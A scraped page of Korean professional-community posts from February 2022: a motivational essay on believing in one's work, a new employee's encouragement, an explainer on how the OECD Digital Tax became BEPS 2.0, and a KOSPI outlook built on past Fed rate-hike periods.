아침 최면을 걸었던 것이죠. 내가 오늘 하려는 일은 신용카드 대금을 연체한 분들에게는 연체료 절약과 신용 점수 회복의 기회를, 회사나 조직에는 사람 몸의 동맥처럼 현금을 돌게 해주니 부도 위험에서 구제를 해줄 수 있고, 또 나에게는 민법과 여신전문금융업법, 신용카드 회원 약관 등을 학습할 수 있는 기회라는 것을 매일매일 세뇌를 시켰습니다. 그런 과정과 경험 때문이었을까요? 현장에서 얻었던 경험들 덕분에 성장하는 커리어 패스로 옮겨 다닐 수 있었던 것 같습니다. 여러분은 지금 하고 있는 일이 이 세상에서 가장 중요하다라는 ‘믿음’이 있으신가요? 있다면 다행이고 만약 없다면 바로 마인드 컨트롤을 해보세요. 직장 생활을 재미있고 유익한 시간으로 만들고 싶다면 그리고 당신이 좋은 사람으로 성장하기 위해서는 가장 먼저 품어야 하는 마음이니까요. 사람은 자신이 하는 일이 세상에서 가장 중요하다는 믿음이 있어야 자기자신을 그 일에 던질 수 있으며, 그런 ‘최선의 시간’을 걸어온 사람들은 분명 그 만큼은 성장할 수 있을 테니까요. 그리고 더 성숙해진 자신과도 만날 수 있을 것이구요. 당신이 요리를 한다면 모든 사람들에게 맛과 행복을 전해주는 이 세상에서 가장 중요한 일이라는 믿음을, 당신이 청소를 한다면 모든 사람들이 쾌적한 환경에서 행복하게 살아갈 수 있게 하는 중요한 일이라는 믿음을, 당신이 IT 개발 업무를 하고 있다면, 모든 사람들이 이 솔루션으로 쉽고 편리한 삶을 살아갈 수 있게 해준다는 믿음을 가져보실래요? 그런 믿음이 있어야 당신이 최선을 다할 수 있으며, 이렇게 중요한 일을 계속 해나가면 나도 성장할 수 있다는 ‘희망’을 품을 수 있으며, 또한 내 이름을 걸고 하는 것이기에 조금 더 좋은 퀄러티로 만들고 싶어서 모든 시간 속에서 최선을 다하는 ‘열정’을 가질 수 있을 것입니다. 이렇게 믿음, 희망, 열정을 품고 산다면 아무리 낮은 자리에 있더라도 언젠가는 반드시 빛이 날 것이며, 반대로 이런 믿음이 없다면 아무리 좋은 자리에 있더라도 별 볼일 없는 시간이 될 테니까요.​ ​ 항상 기억하세요. 기적이나 행운은 그걸 믿는 사람에게만 자신의 모습을 보여준다는 지혜를요 😊 당신이 지금 하고 있는 중요한 일을 응원하며 오늘 ‘직장 심서’ 마무리 합니다 🙏
김명곤 | 코웨이라이프솔루션
22년 02월 03일
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우리 모두 화이팅!!!!
안녕하세요 마케팅팀 업무한지 이제 2달차인 신입 23살 입니다. 잠시 들어와봤는데 힘드신분들도 좀 있으신거 같아 위로차 글씁니다. 저 역시 입사 한달만에 사수들이 다 퇴사해서 가르쳐줄 사람이 없어 2달동안 욕만 먹고있습니다. 팀장님때문에 힘들기도 하지만 지금 이 시련을 이겨내면 멋진 사람으로 성장할거라 믿어요 여기 계신 모든 분들 다 귀한분들이고 좋으신 분들이잖아요 오늘 하루도 열심히 해보자구요 "무리하지 말고, 자신의 힘으로 할 수 있는 것을 해봐." -도라메몽- 제가 정말 좋아하는 애니이자 위로 받은 말이에요 저는 비록 사수가 없어서 팀장님께 욕먹으면서 일하지만 유튜브에 검색해서 마케터 업무를 공부하고 있어요 이렇듯 여러분도 여러분만의 능력이 있으니까 힘내셨으면 좋겠고 위로가 되셨으면 좋겠어요 제가 주저리 주저리 말이 많았네요 ㅎ 오늘하고 내일만 일하면 또 주말이니까 다들 힘내자구요!!! 화이팅!!!!
wudi
22년 02월 03일
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Digital Tax가 BEPS2.0이 된 이유
지난 2021년 International Tax 분야에서 가장 핵심 화두로 거론 된 부분이 Digital Tax였던 것 같습니다. 평소 Tax분야에 대해서 관심이 없던 분들, 특히 International Tax에 대해서는 전혀 관심이 없으셨던 분들이 Digital Tax에 대해서 알기 쉽게 설명을 좀 해달라고 요청이 오기도 했었습니다. 이제 2023년 1월이면 본격적인 시행을 앞둔 BEPS2.0 이기 때문에 아마 올 한해도 여러 측면에서 많은 이슈가 생길 듯 합니다. 오늘은 그래서 과거 약 5~6년동안 논의가 되어왔던 Digital Tax가 왜 BEPS2.0이라는 이름으로 내년에 시행되게 되었는지 간단히 이야기해볼까 합니다. 처음 디지털 경제에서의 조세문제가 OECD BEPS위원회에서 이슈가 되기 시작한 것은 2015년 10월이었습니다. 기존 BEPS(Base Erosion and Profit Shifting)에서 국가간 이중과세를 방지하기 위한 기본적인 출발점인 과세권은 고정사업장(PE:Permanent Estavlishment)이 존재하는지 여부가 가장 중요한 기준이었습니다. 고정사업장은 일정 기간 이상 해당 국가에서 주된 사업활동을 수행하는 물리적 장소를 의미하는 개념입니다. 즉, Google이나 Amazon 등의 Digital 기반의 Contents나 Service를 제공하는 기업의 경우 고정사업장을 기준으로 과세권을 결정할 때는 실제 매출이 발생한 국가에서 과세를 할 수 없다는 문제점이 발생하게 됩니다. 'BEPS Project Action Plan 1'은 이러한 Digital 기업의 과세권에 관한 문제를 어떻게 해결할 수 있을까를 논의하고 고민하게 되었습니다. 이러한 논의가 왜 5년 이상이란 긴 시간이 걸린 것일까요? 결국은 대다수의 Digital 기업이 미국 기업이라는 것이 그 이유였습니다. 실제로 Digital 기업에 대한 과세권 조정이 일어날 경우, 미국은 해당 기업에 대한 과세권한을 빼앗기게 되고 세수가 줄어드는 효과가 일어나기 때문입니다. 그래서 기존 트럼프 정권에서는 'BEPS Project Action Plan 1'에 대한 협상 테이블에 나서는 것 자체를 거부하였습니다. 그리고 바이든 정부에서도 기본 입장은 미국이 주 타겟이 되는 Digital Tax에 대해서는 동의할 수 없다는 것이었습니다. 그래서 미국 정부에서는 새로운 타협안을 21년 5월에 내놓게 되는데요. Digital 기업에 대해서만 과세권을 조정하는 것이 아니라 글로벌 매출액이 일정기준 이상 되는 기업들의 초과이윤에 대해서 매출 발생 국가에 과세권을 배분할 수 있는 새로운 규정을 도입하자는 것이었습니다. 그래서 논의가 Digital 기업에 대한 과세권을 조정하자는 'Digital Tax'라는 이름을 더 이상 사용하지 않고 앞으로 'BEPS 2.0'이라는 이름을 사용하게 되었습니다. 결국은 모든 International 정책과 규정은 미국의 입장이 충분히 반영되지 않으면 성사될 수 없다는 것을 다시 한번 일깨워주는 듯 하여 먼가 씁쓸함이 남는 듯 합니다. 2022년 한해 동안 세부적인 규칙 등을 제정하고, 국내에서도 관련 국내법 입안 및 개정 등을 통하여 2023년 1월 1일 본격적인 시행 예정이라고 합니다. 글로벌 기업들은 아마 International Tax 관련하여 세무 담당자를 충원하거나 신규 배치해야 할 필요성이 증가할 듯 하네요. 다음 글에서는 BEPS 2.0 Pillar 1. 글로벌 과세권 조정에 대해서 써보겠습니다. https://app.rmbr.in/H8vRzxXxvnb 그리고 그 다음엔 BEPS 2.0 Pillar 2. 글로벌 최저한세까지 다뤄 보겠습니다. https://app.rmbr.in/fW5KgsOJBnb
김현녕 | Smilegate Holdings
22년 02월 03일
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🌎 설 연휴, 글로벌 금융시장은?
✔ 저는 증권사 운용역 출신입니다. ✔ 상장기업과 스타트업에 투자하고 있구요. ✔ 초기 스타트업의 비즈니스를 돕고 있어요. ----------  설 연휴기간동안 글로벌 금융시장은 어떻게 움직였을까? 또 2월의 주식시장은 어떨까? ① 애플이 호실적을 발표하면서 지난주 금요일에 6.9% 상승했고, 월요일에는 2.6% 상승했다. 무엇보다 공급망 이슈가 해소될 가능성에 대해 시사한 점이 긍정적이다.   ② 시장에서는 미국 연준이 3월에 기준금리를 50bp 올릴 수 있다는 우려가 있었다. 하지만 보스틱 애틀란타 연은 총재와 블라드 세인트루이스 연은 총재가 50bp 인상을 반대한다고 언급하면서 시장의 우려를 잠재운 듯 하다. ③ 지난주 금요일에 1,213원까지 상승했던 원달러 환율이 1,200원까지 하락했다. 여전히 상승추세에 있기 때문에 계속 주목해야겠지만, 단기적으로는 환율 상승 부담이 완화된 것으로 보인다. ④ S&P 500 VIX도 하락했습니다. 변동성이 낮아진다는 것은 그만큼 리스크도 낮아진다는 의미로 받아들이죠.   ⑤ 위의 내용들에 따르면, 코스피지수는 2월 첫 시작일에 상승할거라는 기대가 된다. 그럼 코스피지수는 앞으로 얼마나 상승할 수 있을까? 이 데이터에 따라 내 계좌에 주식비중을 얼마나 담을지 고민하면 좋을 듯 하다. 1월에 글로벌 금융시장이 하락한 원인 중 하나로 미국 연준의 기준금리 인상을 얘기했다. 그리고 바닥을 찾기 위해 과거에 연준이 금리를 인상했던 시기에 미국과 한국의 주식시장에 어떻게 반응했는지 데이터를 분석했었다. 지금은 반등하는 시점에서 얼만큼 반등할 수 있을지에 대해 과거 데이터를 분석해봤다. 2004년 7월부터 금리를 인상하기 시작한 시기에는 아래의 데이터처럼 코스피지수가 37.5% 상승했다. 이걸 현재에 대입해보면, 코스피지수는 3,662.09pt까지 상승할 가능성이 있어 보인다. 2004년 7월 735.34pt 2005년 2월 1,011.36pt +37.5% 그리고 금융위기 이후에 연준이 금리를 본격적으로 인상하던 시기에는 코스피지수가 21.1% 상승했다. 이를 현재에 대입해보면 코스피지수는 3,225.30pt까지 상승할 것으로 보인다. 2016년 11월 1,983.48pt 2017년 07월 2,402.71pt +21.1% 4분기 실적과 가이던스에 따라 코스피지수는 전 고점을 돌파할 수도 있겠지만, 그 가능성은 아직까지는 낮은 듯 하다. 그래서 1차적으로 3,225pt를 1차 저항선으로 두고 투자를 하면 좋지 않을까 생각이 든다. ---------- 📣 과거의 패턴이 그대로 반복되진 않아요. 그래서 단순 참고용으로만 봐주시기 바랍니다. 아무쪼록 2월 이후부터는 좋은 성과로 따스한 봄을 맞이하셨으면 좋겠습니다.
토니 | INNOEX
22년 02월 02일
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